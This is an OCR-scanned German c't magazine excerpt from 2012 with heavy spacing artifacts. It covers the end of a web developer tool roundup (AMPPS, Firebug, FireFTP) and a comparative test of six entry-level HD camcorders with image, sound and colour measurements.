ersten E ind ruck verschaffen kan n .  Der Li n k  

"Demo" fü h rt zu I n sta l lat ionen a u f  den 
Homepages der  Anwendu ngen beim . 
AMPPS-Herste l l e r  Softacu lous  - manchma l  
aber auch ins  Leere. 

Mit e inem K l ick l ässt s ich e ine  Anwen­
d u n g  e i n richten .  AMPPS l i efert dazu auf 
e iner  Seite zusammengefasst a l le l n sta l l ati­
onse inste l l u ngen,  etwa das  Anwendu ngs­
verze ichn i s, das  Tabel l enp räfix fü r d ie  Da­
ten ba n k  und das  Adm i n-Passwort. Mit  
e inem K l ick i st a l l es auch wieder de i nsta l­
l ie rt . 

AMPPS i st als loka le  Testumgebung fü r 
den PC peziehungsweise das I ntranet ausge­
legt. Der Zugriff auf die MySQL-Datenbank, 
das Datenbank-Ad min i strationsprogra mm 
phpMyAdmin  und das  Gesamtsystem lassen 
s ich zwar per Passwort sichern. Das darf aber 
n icht darüber h inwegtäuschen, dass AMPPS 
s ich n icht fü r den Produktivbetrieb e ignet -
der Rechner, a uf dem es läuft, sol lte n icht 
von außen zugängl ich se in .  

Helferlein 

Zu den Aufgaben eines Webverantwortl ichen 
gehört mehr, a l s  nur das Layout zu entwerfen 
und I nha lte für die Website einzuspielen. E ine 
Website muss laufend gewartet, Fehler müs­
sen identifiziert und behoben werden.  

Xenu's Link Sleuth gehört schon seit 
etl ichen Jah ren zur c't-Auswa h l  fü r 

Webentwickler - das Prog ramm er ledigt 
ganz e i nfach zuver läss ig se inen Job: Es 
du rchwandert i n  Höchstgeschwind igkeit d ie 
Li n kstruktu r  e iner  Website und  sucht tote 
Li n ks.  Die ü bers icht l ichen P rob lemberichte 
zeigen auf e inen B l ick, wo Server vermutl ich 
nur temporä r  lahmen und wo Verweiszie le 
offenbar permanent verschwunden s ind :  wo 
a lso Hand angelegt werden muss. 

PUSWOfd 

Wie a l l e  anderen g roßen 
Webbrowser enthält F i re­

fox m itt lerwei le auch a l ler lei  e ingebaute Ent­
wicklertools, etwa die Web-Konsole, die Feh­
ler und Wa rnmeldungen a nzeigt, oder den 
(55- Inspektor. An die Mög l ichkeiten des Ori­
g ina l s  Firebug re�chen d iese aber bei Wei­
tem n icht heran .  F i rebug ist ein Al lzweck­
werkzeug für das Debbugen von Websites: i n  
der Ansicht "HTML", d ie be im Sta rt geöffnet 
ist, fächert F i rebug den HTML-Code in einem 
Elementbaum auf. 

Ü berfäh rt der Entwickler e ine Ste l le  im 
Code, markiert F i rebug den betreffenden Be­
re ich im Dokument. Im "U ntersuchen"­
Modus  arbeitet F i rebug umgekehrt. So er­

. m ittelt F i rebug u nter "Netzwerk" die Ladezei-
ten a l ler Dateien - womit s ich Performance­
Bremsen fi nden lassen. U nter "Skript" findet 
s ich e in  vol lwert iger JavaScript-Debugger. 
Möchte der Entwickler ausprobieren, wie 
s ich eine kleine Änderung am Quel ltext aus­
wi rkt, so kann  er das g leich an  Ort und Ste l le 
tun .  

. 
Die Web Developer­
Werkzeug le i ste ergänzt 

vie le n ützl iche Werkzeuge. So ka nn der Ent­
wick ler  schne l l  mal Cookies deaktivieren 
oder löschen, Form u l a rdeta i l s  einer Seite 
ansehen, eine Lupe e inb lenden oder Kom­
menta re a nzeigen lassen .  Di rekt aus  der 
Leiste heraus  lassen s ich zudem e ine Reihe 
von Webd iensten aufrufen, d ie zum Beispiel 
den CSS- und HTML-Que l ltext va l i d ieren 
oder d ie  L inks ü berprüfen .  Web Developer 
steht auf der DVD fü r F i refox und fü r 
Ch rome bereit. 

X FireFTP macht F i refox zum 
vol lwert igen FTP-C i ient. 

Das Prog ramm beherrscht u nter anderem 
SFTP und kan n  Verze ichn isbäume verg lei­
chen und synchron is ieren. Hakelt der Server, 
kan n  F i reFTP abgebrochene Verb indungen 
und Tra nsfers wieder aufnehmen.  Für  Mac 
OS enthält d ie DVD einen "echten" FTP­
Ci ient: Cyberduck. (jo) 

www.ct.de/72 75 1 76 
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Martin Biebel 

Bewegende Momente 
Sechs H O-Video-Ca mcorder fü r E insteiger a b  250 Euro 

La nge ha ben Videoamateu re auf Camcorder gewartet, die in jede Westentasche passen, 
dabei brennweitenstarke Zoom-Linsen m itbringen und i n  Fu i i-H D-Videoq ual ität aufzeichnen. 
Jetzt g ibt es s ie,  doch i nzwischen setzen Smartphones und Fotoapparate die klassischen 
Camcorder unter Druck. Womit sie gegen die Konku rrenz p u n kten wollen, haben wir getestet. 

S tatt auf dem heimischen Fernseher laufen 
im Jahre 201 2 die meisten Videos in Web­

Plattformen. Aufnahmen mit persönl ichen Er­
innerungen s ind dort weniger gefragt a ls  cle­
ver bearbeitete Ku rzvideos mit orig ine l ler  
Hand lung oder spektakulären Szenen. Action­
Videos sportl ichen I nha lts erzielen sechsste l l i­
ge Zuschauerzah len, d ie klassischen Themen 
des Heim-Videos dagegen, Kinder und Reisen, 
finden dort in der Regel kaum Zuschauer. Die 
Sehgewohnheiten haben sich geändert - und 
das führt zu einem Paradoxon: Video wird a l l ­
gegenwärtig, doch die Camcorder-Herstel ler 
vermelden s inkende Verkaufszahlen.  

Die Videoauflösung der  Camcorder ent­
spricht der vie ler Fotoappa rate oder 
Smartphones. Sie a l le  zeichnen Fui i -HD (High 
Defi nit ion) mit 1 920 x 1 080 Pixe ln  auf, was 

1 20 

der  max ima len Videoauflösung moderner 
F lachb i ldsch i rme entspr icht .  Dennoch s ind 
d ie  Qua l itätsu ntersch iede - quer  d u rch die 
Gerätekategorien Smartphones, Fotoka me­
ras und Camcorder - g roß, da fü r die qua l ita­
tiv anspruchsvo l le  Umsetzung hochwert ige . 
Sensoren, aufwend ig opt im ie rte Objektive 
und a usgefuchste Kom press ionsverfa h ren 
nöt ig  s ind .  Fo lg l i ch  sp ie l t  be i  e inem Ver­
g leichstest noch immer die tatsäch l iche Auf­
lösung d ie erste Geige. 

Derzeit l iegen die Preise fü r Top-Consu­
mer-Camcorder be i  etwa 1 000 Euro. V ie le  re­
nommierte Herste l ler  bieten d ie günstigsten 
Model le i h rer Produktre ihe schon fü r um d ie 
300 Eu ro an .  Das i st i m mer  noch vie l  Geld 
und  wi rft d ie  F rage a uf, ob e in  sepa rates 
Gerät zur Videoaufze ichnung heute noch 

nöt ig i st - oder ob der Fotoappa rat, vielmehr 
aber das Smartphone, den Camcorder dem­
nächst ersetzen, so wie es schon dem MP3-
P iayer erg ing .  

Fortschritte 

Moderne .Camcorder versuchen, d ie Szenerie 
vor der Kamera selbsttätig zu erkennen und 
i h re E instel l ungen daran a nzupassen. Diese 
i ntel l i genten Automatiken fu nkt ion ieren 
immer  besser; vor a l l em Gesichter werden 
heute zuverläss ig erkannt - selbst i n  der E in­
ste igerklasse. Auch der  Autofokus reag iert 
von Serie zu Serie exakter und  schnel ler .  
Du rchweg br ingen d ie  h ier vorgeste l lten 
Camcorder eine k le ine HDMI-Buchse fü r den 
d ig ita len H DTV-Ansch luss  m it. Den ana logen 
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Ansch luss  fü r heru ntergewandeltes FBAS­
PAL-Fernsehen m it 720 x 576 Pixe ln  g ibt es 
zwar noch, doch der Wechsel zum hochauf­
lösenden TV scheint in der Anwenderschaft 
weitgehend vol lzogen.  

Der USB-Ansch luss, der zum Überspielen 
der Szenen in  den PC d ient, wird häufig auch 
zum Laden der e ingebauten Akkus genutzt. 
Deren Kapazität wurde so weit gesteigert, dass 
man eine F i lmsession von zwei bis drei Stu n­
den Dauer meist mit einer Akkuladung bestrei­
ten kann .  Wenn  das n icht reicht, er lauben 
Markengeräte den Einsatz potenterer Akkus. 

Ein Sucher feh l t  auch in der M itte l k lasse 
häufig, bei den h ier  vorgestel lten E insteiger­
Camcordern muss man bei a l len Kandidaten 
darauf verzichten.  Dieses teure Baute i l  wurde 
zugunsten des Touchscreens und der kom­
pakten Bauweise wegrationa l i s iert - trotz 
des Protestes a m bit ion ierter F i lmer.  E ine 
Fernbed ienu ng, d ie  vor  a l l em bei Stativ­
aufnahmen w i l l kommen wä re, feh l t  a l l en  
Testkandidaten. 

Die Videos - üb l icherweise i m  AVC H D­
Standard - werden genere l l  auf SO-Karten 
gespeichert, oft i n  der  neuesten Va riante 
SDXC. Doch die muss man zusätzl ich kaufen, 
denn Speicherkarten werden n icht mitgel ie­
fert Zum Anschauen und Bearbeiten der  
Videos sol lte e in  aktue l ler  Rechner mit m in­
destens zwei P rozessorkernen (Dua lcore) 
verwendet werden; a uf ä l teren, weniger  
le istungssta rken Mode l len  rucke lt  oft d ie 
Wiedergabe. Manche Herstel ler - im Testfeld 
etwa Samsung oder Yash ica - verwenden ei­
gene Codecs, die H .264-kod ierte MP4-C i ips  
l iefern .  So lche Aufnahmen l aufen auf  den 
üb l ichen Videoplayern, man kan n  aber  n icht  
s icher se in ,  dass s ie  von a l len Schn itt­
programmen verstanden werden.  

Einheitslook 

Die Geräte der  E insteiger-Klasse - i n  der 
Regel  schwarz e ingefä rbt - ähne ln  l äng l i­
chen Röhren, d ie  e ine g roße Männerfaust 
knapp u msch l ießt. Vie le b i l l i ge  Geräte fü r 
deutl ich u nter 200 Euro tragen ebenfa l l s  d ie­
sen Look; sie werden a l s  vol lwertige Camcor­
der beworben, der Laie kan n  sie kau m  von 

·'Markengeräten u ntersche iden.  Jedes J ah r  
werden von d iesen Camcordern ebenso viele 
verkauft wie von Markengeräten .  Bei d iesen 
Produkten ist jedoch Vorsicht geboten, denn 
s ie entha lten sehr  oft b i l l ige D isp lays m it 
niedriger Auflösung und b i l l ige, wen ig l i cht­
starke Objektive; auch Fokussiersystem und 
B i ldstab i l i sator können meist n icht m it Mar­
kenware mithalten. l n  d iesem Test haben wir  
dera rtige Geräte nicht berücksichtigt. 

Canon Legria HF R306 

Canon ver langt fü r se in E insteiger-Mode l l  
50 Eu ro mehr  a l s  d ie  Kon ku rrenz von  JVC, 
Sony und Panasonie Das angenehm g roße 
Display spiegelt merkl ich und i st a u ßerha l b  
d e r  Hauptbetrachtungsachse n icht gut  e in­
sehbar. Fokuss iert w i rd per F inger-Tipp a uf 
das Touch-Disp lay. Das d re i  Ebenen-Men ü  
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Der teurerste Camcorder im Testfeld: Canons HF R 306 
wartet mit hoher Videoqual ität auf. 

mit Haupt-, U nter- und Funktionsverzeichn is  
ist gut  gemacht - sogar  m it e in  wenig 
Gestensteuerung, u m  zum Beisp ie l  du rch d ie 
Szenen zu blättern. Doch insgesamt s ind d ie 
Menüs etwas zu vielschichtig. 

D ie K inolook-Funkt ion er lau bt es, ver­
schiedene F i lmsti le (etwa a lter Western, Serie 
der 70er J ah re) zu im it ieren .  Auch das Ver­
schönern langwe i l iger Szenen mit bunten Li­
nien i st mög l ich .  Sogar  Lichtreflexe können 
nachträg l ich gesetzt werden.  

Der H F  R306 eignet s ich i m  U ntersch ied zu 
v ie len Kon ku rrenten fü r den Stativ-E insatz, 
denn SO-Ka rte und Akku s ind von der Seite 
zugäng l i ch .  Beim Akku ist d ies auch  nötig, 
denn der  mitge l ieferte Stromspeicher ver­
sorgt den Camcorder fü r höchstens e ine 
Stunde. Fü r  den E insteiger i s t  der "story-crea­
tor" s innvol l :  E r  erste l l t  schon im Camcorder 
k le i ne, sehenswerte F i lme, i ndem er  e in  
Grundraster vorg ibt, das d.,er F i lmer m it kur­
zen, v ier b i s  acht Sekunden langen Szenen 
befü l lt. Am Ende der Pa rty oder der Reise hat 

er dann bereits e in  ansehn l iches F i lmraster. 
Anschl ießend lässt sich die Reihenfolge be­
a rbeiten und der F i lm per mitgel ieferter Soft­
ware d i rekt ins  Web laden oder vorführen. 

Dem R 306 feh lt  e ine manuel le Versch luss­
e inste l l ung, aber er enthält e ine Funktion zur 
Arretierung der Blende. Jahrelang boten ein­
fachere Camcorder nur eine Sh ift-Funktion 
fü r den Arbeitspunkt der  B lende; unange­
neh mes He l l i gkeitspumpen während der 
Aufnahme l ieß s ich damit n icht vermeiden. 

Unsere Testergebnisse beschein igen dem 
Canon im  Testfe ld das beste Bild - solange 
es ausreichend he l l  vor der Kamera ist. Dazu 
bietet er m it Windschutz und Pegel-Dämp­
fung e ine sehr g ute Tonaufnahme. Außer­
dem enthält  der  H F  R306 im Testfe ld d ie 
beste Optik mit  e inem u n hörbaren, sehr 
sanft sta rtenden Motor und einem Zoombe­
reich,  der ohne nennenswerte B i ldbeein­
trächtig ungen b is  zu r 52fachen Brennwei­
tenver längerung reicht. Bei schwacher Be­
leuchtung ist das Rauschen seh r feinkörnig 

Mit beachtlicher Lichtstärke: Der JVC GZ E 205 l iefert auch 
bei schlechtem Licht brauchbare Aufnahmen. 
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Prüfstand I Camcorder 

Video-Auflösung 

Die horizonta le  Achse  g i bt an ,  wie v ie le  
L in ien paa re der  Camcorder da rste l l en  
kann  ( in  L in ienpaa ren pro B i ldbreite); d i e  
Vert ika la uflösung  w i rd a uf den g l e ichen 
Maxima lwert normiert. Die vert ika le Achse 
beziffert den Kontrast, a l so wie deut l i ch  
s ich d ie  L in i�npa a re von Wei ß  a bheben.  
Untersch reitet d ie  Ku rve e i n  D rittel des 
Maxima lkontrastes (Faktor 0,3). s ind d ie  L i ­
n ien vom mensch l i chen Auge kau m  noch 
zu trennen .  Die ge lbe Ku rve repräsent iert 
das Auflösungsvermögen bei schwachem 
Licht (30 Lux) .  H ie r  fa l l en  a l le  P roba nden 
gegenüber  i h rer  Tages l icht le i stung deut­
l i ch  ab .  U nter l i chttechn ischen Extrem­
bedingu ngen zeichnet a l so kein  Camcorder 
feine Deta i l s  a uf. 
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Die Messu ngen zeigen,  dass d ie  Auflösung  
- bezogen auf F u l l  H O  mit  horizonta l 1 920 
Pixe l n  - bei a l l en  Kand idaten ä h n l ich  hoch 
l i egt.  D ie vorgeste l l ten Camcorder ze ich­
nen i m  M itte l bere ich mit  etwa 500 b is  600 
Li n ienpaaren auf, biswei len ü berstre ichen 
s ie  im  Tages l icht-ehart auch  d ie  Grenze zu 
700 L in ien paaren.  Geräte der  Spitzenklasse 
erreichen heute a l lerd ings  d ie  Systemg ren­
ze bei  960 L i n i enpaaren .  Canon kommt 
d iesem Z ie l  a m  nächsten und überträgt d ie  
me isten Deta i l s; d i e  Auflösung fä l l t  a be r  
be i  nach lassendem Licht s chne l l  ab, offen­
ba r u m  das s ichtba re Rauschen zu begren­
zen .  Bei  sehr wenig Licht haben Yash ica 
und  JVC mit  d u rchaus he l len und  kontrast­
re ichen Aufnahmen die Nase vo rn .  Bei 
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und stört kaum, a l lerd ings  geht d ie Schä rfe 
deutl ich zurück, auch d ie Fa rben verl ieren an  
I ntensität. Der  optische B i ldstab i l i sator 
schneidet als bester im Testfeld ab - zumal  
er weniger nachzieht a l s  der des Samsung.  

Für  einen ei nfacheren Zugang zur  mobi­
len Weit - auch ohne e ine Nachbearbeitung 
- zeichnet der R306 zusätzl ich zu AVCHD im 
MP4-Standard auf. Das  S igna l  erreicht n icht 
ganz die g leiche Qual ität wie bei AVCHD, die 
C l iplänge ist auf 30 Minuten begrenzt, doch 
bei I nternetvideo ist das kei n  Problem. 

Canon bietet weitere Camcorder (R36, 
R38) mit verg le ichbarer Techn ik, die im Un­
tersch ied zum R306 i nternen Spe icher  ent­
ha lten oder per W-LAN d i rekt m it dem I nter­
net oder einem Apple-iPad kommunizieren.  

JVC GZ-E 205 

Wo die meisten anderen Camcorder so g ut 
wie keine Tasten mehr  aufweisen, hat der  
GZ-E 205 h i nter dem Disp lay vier, da runter 
der Modus-Umscha lter zum Wechse ln von 
F i lm- auf Fotofunktion, der bei al l d iesen Ge-
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räten eher aus  Market inggründen denn aus  
fi lmerischer Notwend igkeit vorhanden i st. 
Anscheinend möchte der  Herste l le r  schon 
ä u ßer l ich auf den Doppe lnutzen h inweisen, 
auch wen n  - wie hier - die Fotofu n kt ion 
nicht der Rede wert ist. 

Die Symbole auf dem Disp lay fa l l en  wie 
beim Sony etwas k lein aus, dafü r ist der Be­
trachtu ngswin kel  e rfreu l ich g roß.  Offenbar  
hatten d ie  Entwickler d ieses Camcorders 
etwas übrig  fü r versp ielte Naturen:  Bevor 
s ich wicht ige B i ld parameter verä ndern las­
sen, zeichnet d ie Effektabtei l ung  Herzchen, 
B lümchen oder Noten mitten ins  Monitorbi ld 
oder lässt s ie permanent du rchs B i ld  per len.  

Das transpa rent e ingeblendete Menü ge­
fä l lt; d ie  E i nträge s ind g roß genug, u m  s ie 
a uch m it kräftigen F ingern s icher zu treffen.  
Die Struktu r  der  Menüs dagegen ist etwas 
umständ l ich,  denn man muss  s ich zu oft 
d u rch d ie Menü l i sten mühen.  Wer den S inn  
e iner  Funkt ion n icht versteht, kann  s i ch  aus  
dem Web e in  d ickes Handbuch herunterla­
den.  Damit geht JVC einen Sch ritt weiter a l s  
d ie Konkurrenz, d ie zu i h ren oft knappen An-

i h nen l iegt d ie  ge lbe Ku rve verg le ichswei­
se hoch. Sony und Panasonie dagegen ser­
v ieren bei Schwach l icht eher fla ue, deta i l ­
a rme B i lder .  

M i t  Ausnahme des Sa msung  HMX-Q 20 
s i nd  horizonta l e  und verti ka l e  Auflösu n g  
b e i  a l l en  Mode l l en  g le ich  gut  entwickelt .  
Beim Samsung zeigt die Messkurve der 
Tages l icht-Auflösung einen g roßen Buckel, 
der a uf e ine  künst l i che Kantenanhebung 
h i ndeutet. Ä h n l ich  - wen n  auch  n icht  so  
a u sgeprägt - verhält es s ich bei m JVC. Bei 
beiden w i rd mit  techn i schen Tricks Kna­
ck igkeit  ins B i l d  geh ievt, wo eher fe in ­
stru ktu rierte Deta i l s  gefragt s ind .  Der  B i ld ­
e ind ruck ver l iert so a n  Natü r l i chkeit. 
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Ie itungen noch Handbücher auf S i l berschei­
ben bei legen.  ln Sachen Dokumentation 
legen a ltmodische Herste l le r  wie Sony ein 
ausführ l iches Handbuch bei - im Sinne des 
Käufers nach wie vor d ie beste Lösung.  

Das 40fach-Zoom-Objektiv wird mit e iner 
fei n  steuerbaren Wippe d i rig iert. Das beein­
d ruckende Zoom-Mikrofon macht K länge 
aus der Entfernung  hörbar, wen n  gezoomt 
wird. A l le rd ings  k l ingen die Tonspuren je 
nach Brennweite u ntersch ied l ich;  wi l l  man 
d ie Aufnahmen später schneiden, sol lte man 
von d ieser Funktion daher besser d ie F inger 
lassen.  Die Tonqua l ität dagegen fä l l t  mit 
hoher Sprachverständ l ichkeit erfreu l ich aus; 
so empfieh lt s ich der JVC sogar  fü r Mus ikauf­
zeichn u ngen.  

Der k le inste Camcorder im  JVC-Prog ramm 
gefä l lt du rch se ine hohe Lichtstä rke. Be i  mie­
sesten Lichtbed ingungen zeigt er zwa r e in  
k lares B i ld ,  d ie  Videos entha lten dann  aber 
kaum Blautöne und nur wenige Deta i l s; beim 
Schwenken versch le ifen die B i lder  enorm. 
Leider setzt s ich das bei Aufnahmen u nter 
Wohnzimmer-Lichtbed ingungen fort. Selbst 
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Prüfstand I Camcorder 

Audio-Frequenzgang 
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Der F requenzgang zeigt, wie g le ichmäß ig 
d ie Camcorder Aud io-Signa le aufzeichnen.  
Die vom Menschen wah rnehmbaren Töne 
l iegen zwischen etwa 30 Schwingungen pro 
Sekunde (Hertz) und etwa 20 000 Hertz, der 
sprachwichtige Bere ich bewegt s ich etwa 
zwischen 200 und 4000 Hertz. 

Auf der Verti ka lachse des Diag ra mmes ist 
der Scha l l pegel  aufgetragen, normiert a uf 
1 000 Hertz. Je breiter und g le ichmäß ig 
hoch a l so d ie Kurve ausfä l lt, desto besser. 

bei guter Beleuchtung erreicht der JVC kein  
hohes Schä rfen iveau,  auch d ie  Klarheit de r  
Deta i l s  lässt etwas zu wünschen ü br ig .  Im­
merh in  ist kau m  störendes B i ldrauschen zu  
sehen. Be i  Tages l icht ste l lten wir  Farbrau­
schen in  i ntensiven Rottönen fest. 

JVC hat s ich e in ige praktische Helfer e in­
fa l len lassen. Beispie lsweise scha ltet das  D­
Symbol einen Großte i l  der Monitor-Ei nblen­
dungen ab und bei Bedarf wieder zu. Prak­
tisch auch der Fa rb- oder Bereichs-Tracker; 
damit erfasst der Camcorder e inen B i ld- oder 
Farbbereich im  Motiv und behält dort Schä r­
fe und Hel l igkeit bei . E in  Druck auf d ie S i lent­
Taste u nterd rückt a l l e  akust ischen S igna le  
des  Camcorders und reduziert d ie He l l igkeit 
des Displays. 

Panasonie HC-V1 00 

Als einziger Camcorder im Testfe ld kommt 
der HC-V1 00 ohne Touchscreen daher. Statt­
dessen ist das Gerät mit vier k le inen Tasten 
außen am Disp lay-Rahmen ausgestattet; 
damit lässt es s ich fast genauso elegant be­
dienen - und das sogar  oft zuverlässiger und 
ohne F ingerabdrücke auf dem Display. Das  
kla r  und gut struktur ierte Menü wird von 
einer Laufschrift ergänzt, d ie im u nteren Dis­
playbereich im Klartext beschreibt, was d ie  
gerade angewäh lte Funktion tut. Das  ist n icht 
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Um dumpfe Störgeräusche (Trittscha l l )  aus­
zublenden, zeichnet keiner  der Kandidaten 
besonders t iefe Töne orig i na lgetreu auf. 
Dennoch sol lte d ie  Ku rve spätestens  bei 
etwa 200 Hz i n  Nähe des Normpegels (OdB) 
l iegen, sonst verm isst man im hörbaren 
Resu ltat d ie  Bässe. Das erreicht der Sony 
CX200 a m  besten, am schwächsten schnei­
det das Yash ica-Mikrofon ab.  

Vorb i ld l ich  bei der Höhenwiedergabe s ind 
Sony und Ca non, d ie bis zur  Grenzfrequenz 

nur Anfängern, sondern auch Gelegenheits­
anwendern wi l lkommen. Display und Symbo­
le ähne ln  insgesamt denen beim Sony; bei­
des ist etwas klein ausgefa l len.  Die Zoomwip­
pe fun ktioniert akzeptabel, wenn  auch etwas 
weniger fei n  als bei Ca non und JVC. 

Die i ntel l i gente Motiv-Automati k ist bei 
Panasonie a m  weitesten entwickelt; s ie er­
kennt Portra its, Landschaften, Sonnenunter­
gänge und vieles andere ersta u n l ich zuver­
läss ig.  Die automatische Kontrastanpassung 
sol lte der  F i l mer am besten n icht ausschal­
ten. Die Qua l ität des B i ldstab i l i sators b le ibt 
e in  wen ig  h i nter der  von Samsung und  
Ca  non  zu rück. 

Sehr  g ut gefa l l en  hat uns  d ie  komplett 
manue l le  B i ldparametere inste l l ung :  Unab­
häng ig  vone inander  lassen s ich i n  e inem 
k le inen Onscreen-Menü B lende und Bel ich­
tungszeit sowie Fokus und Wei ßabg le ich 
schne l l  und ziels icher einste l len .  Dam it ist d ie 
HC -V1 00 der  e inz ige a ktue l le  E i nsteiger­
Camcorder m it Shutter-E inste l l ung .  

Die B i ldqua l ität des  Panasonie i s t  der des 
Canon n icht gewachsen. Die Charakteristik 
bei sehr wenig Licht ähnelt der bei JVC: un­
scharf, aber rauschfrei .  Doch gar so matt hätte 
das Ergebn is  n icht ausfa l len müssen. Die im 
Messlabor ermittelten Ku rven weisen darauf 
h in ,  dass d ie feh lende Schärfe in den Videos 
d u rch e inen techn ischen Trick, näml ich per 
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von 20 000 Hz a ufze ichnen .  Das schafft 
zwa r  auch der  Panasonie V1  00, doch stört 
h ier  e in  E inbruch bei 4000 bis SOOO Hz, der 
s ich a l lerd ings  wen iger  deutl ich a ufs hör­
bare Ergebn is  auswi rkt, a l s  d ie  Messku rve 
erwarten lässt. Der Samsung fä l l t  in den 
Höhen etwas zu frü h  a b, woh l  auch um 
hochfrequentes Rauschen besser kaschie­
ren zu können.  Das Yash ica-Mikrofon ist mit 
seinen ü berrepräsent ierten Höhen fü r 
Sprachaufnahmen tau g l ich ,  fü r Mus ika uf­
nahmen dagegen wen iger geeignet. 

Kantenaufste i lung erzeugt werden sol l .  Bei 
Schwenks versch le ifen die Objektkanten, 
selbst bei Tages l icht. Die Audioabte i lung 
a rbeitet soweit problemlos; der Ton kl ingt 
etwas dünn, i st aber frei von Störgeräuschen. 
Der Akku hält mehr als 2 1 /2 Stunden durch. 

Wie bei dem Yash ica-Gerät befi ndet s ich 
die Klappe zum Speicherka rtenwechse l  an 
der  Camcorder-U nterseite, i st a l so im  Be­
darfsfa l l  a uf vielen Stativen n icht zugäng l ich.  

Samsung HMX-Q20 

Etwas gestreckter a l s  d ie anderen Kandida­
ten zeigt der HMX-020 e ine bemerkenswert 
sch lanke S i lhouette. Im U ntersch ied zur Kon­
ku rrenz befindet sich die Zoom-Wippe h in­
ten ,  e ingebettet i n  e in  g roßes, u n bequem 
bedienbares Vierrichtungselement, i n  dessen 
Zentru m der Aus löser s itzt. Die Wippe rea­
g ie rt deut l ich unempfind l icher als etwa d ie 
von Ca non und JVC. Das Menü nutzt zah l rei­
che, verständ l iche Logos und P iktog ramme. 
Prakti sch:  E i n  F ingert ipp reicht, um a l l  d ie  
störenden E inb lendungen während der Auf­
nahme verschwinden zu lassen. Auch Sam­
s u ng setzt a uf d ig ita l e  Looks wie Schwarz­
weiß oder B i lde i nfärbungen.  

A ls  Besonderheit fi lmt der Samsung auch 
im  Hochformat. Die Anzeige im Display d reht 
s ich auf Knopfd ruck mit a l len E inblendungen 
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Prüfstand I Camcorder 

Ohne Touchscreen, dafür mit Tastern an der Display-Klappe: Beim Panasonie 
HC-Vl OO kann man viele Parameter manuell steuern. 

mit. I m  P layer erscheint das Video a utoma­
tisch senkrecht, n icht auf  dem Kopf oder 
quer l iegend. Für d ie  Wiedergabe a m  Fern­
seher ist d iese Funktion n icht gedacht, pro­
fit ieren können davon jedoch N utzer von 
Webvideos im Hochkantformat und  Smart­
phones. Deren P layer zeigen die Videos dann 
formatfü l lend vert ika l .  

Der  HMX-020 speichert Videocl i ps, d ie  im  
eigenen Samsung-MPEG4-Dia lekt kod iert 
werden, oder sch ießt Fotos mit  zwei oder 
fü nf MPixe ln Auflösung .  Von der  Speicher­
ka rte lesen viele Rechner d ie Video-Dateien 
nicht fl üssig; l iegen s ie aber erst auf der Pe­
Festplatte, g ibt zum Beispiel der VLC Media 
P layer s ie rei bungs los wieder. Ähn l ich wie 
bei Canon oder Sony er lau bt es der  Sam­
sung-Camcorder, C l i ps noch i n  der  Ka mera 
zu einem F i lm zu verbinden und abspielfer-

tig zu machen. Dazu g ibt es d ie Mög l ichkeit, 
Sound h inzuzufügen und synchron zur  Dia­
schau a bzusp ie len .  Schön, dass Samsung 
e inen Zeitraffer fü r d ie  I nterva l l a ufnahme 
e ingebaut hat; dami t  kann  man den aktue l l  
sehr begehrten Time-Lapse-Effekt (Zeitraffer) 
erzeugen. 

Der Samsung-Camcorder erzeugt e in 
deut l iches B i ldrauschen und landet i n  d ieser 
Kategorie auf den h i nteren P lätzen .  Be im 
B i ldschwenk  kommt es bei Aufnah men in 
Fu i i -HD zu leichtem B i ld ruckeln, dabei  gehen 
B i lddeta i l s  ver loren. Bei Tages l icht l iegt d ie  
Schä rfe auf g utem N iveau .  Der B i lde indruck 
ist auch fa rb l ieh ü berzeugend.  Der zu pa­
ckende, optische B i ldstab i l isator macht e ine 
g ute F igu r. K langl ich <)uffä l l i g  und  störend:  
Der Ton pfeift beim Zoomen.  Obendrein 
muss der  Samsung-F i lmer  mit  Störgerä u-

Fi lmt auch im Hochformat: Der Samsung HMX-020 erzeugt 
auf Wunsch Zeitraffer-Aufnahmen. 
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Prüfstand I Camcorder 

Video-Farbwiedergabe (YUV) 

0 Tageslicht-Weiß Kunstlicht-Weiß • Blau 111 Magenta • Rot [!] Gelb Grün 13 Cyan 

0 Soli-Wert @ Ist-Wert Gesamtfarbwert • Waldgrün 111 Hautton 111 Himmelblau • Burgundrot 

ln d iesen D iagrammen s ind sechs Grund­
sowie d rei Mischfa rben i n  i h ren Farbkoor­
d inaten e ingetragen.  ln d ieser Vektorskap­
Da rste l l ung  defi n ieren die Quadrate d ie  
idea le So l l posit ion be i  maxima ler  Sätti­
gung .  Je weiter die tatsäch l i che Farbe 
(Quadrat im  Kreis) i n nen l iegt und von der 
ihr  zugehör igen Achse entfernt i st, desto 
mehr  weicht die Fa rbwiedergabe des be­
treffenden Camcorders von d iesem Idea l  
ab, desto g rößer i s t  a l so der Fa rbfehler .  Bei 
den Mischfa rben zäh lt n u r  die Differenz. 
Wei l  der n utzba re Bereich (Farbraum)  fü r 

Canon HF R 306 
JVC GZ E 205 

- 5,9 
_ ,,,, 

Panasonic HC-VlOO - 9,4 
Samsung HMX Q 20 - 7,6 
Sony HOR CX 200 - 9,1 
Yashica CMHP 1 2 - 9,5 
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· Video-Zwecke normiert i st, s i nd  fü r d ie  
immer  popu l ä rere Wiedergabe von Fa rb­
fotos an H O-Fernsehern spezifische Werte 
e inzuha lten. Bei der d ig ita len Wiedergabe 
ü ber  einen d i rekt angekoppelten PC oder 
TV-Disp lay kom mt es dagegen n u r  auf  
d ie  Fäh igkeiten von Fernseher und  Kamera 
an .  Desh a l b  s ind  h ie r  i ntens ivere Fa rben 
mög l i ch .  Das zeigt i n sbesondere der  JVC 
E 205 mit kna l l igen Farben im  dargeste l lten 
Tages l icht-Chart. Dezent und exakt verhält 
sich hier Samsung;  Yash ica l iegt in Sachen 
Fa rbwiedergabe ebenfa l l s  recht a kkurat 

und ver läuft s ich nur bei Rot etwas, was im 
B i l d  deut l i ch  erkennbar  i st. Canon zeigt 
eine ä h n l iche Farbchara kter ist ik  wie Sam­
su ng,  n u r  geizt der Camcorder etwas bei 
den Cyantönen .  Dagegen nehmen Pana­
sonie und Sony Rücksicht auf  den eu ro­
päischen Hauttongeschmack - und auf d ie 
Vor l iebe fü r saft ige Wiesen m it b lauem 
H i m me l .  Desha l b  l iegen d ie  gemessenen 
Farborte etwas seltsam .  Anscheinend hof­
fen d iese Herste l l e r, dass d ie  Käuferschaft 
i h ren Look der  n üchternen Rea l ität vor­
zieht. 

c't 201 2, Heft 1 5  



Prüfstand I Camcorder 

Hält dank großer Akku-Kapazität lange durch: Mit dem Sony 
HDR-CX 200 kann man gut 2 1 /2 Stunden fi lmen. 

sehen und e inem etwas b lechernen Klang 
leben. 

Die Fotos der  Kamera, d ie  laut  techn i­
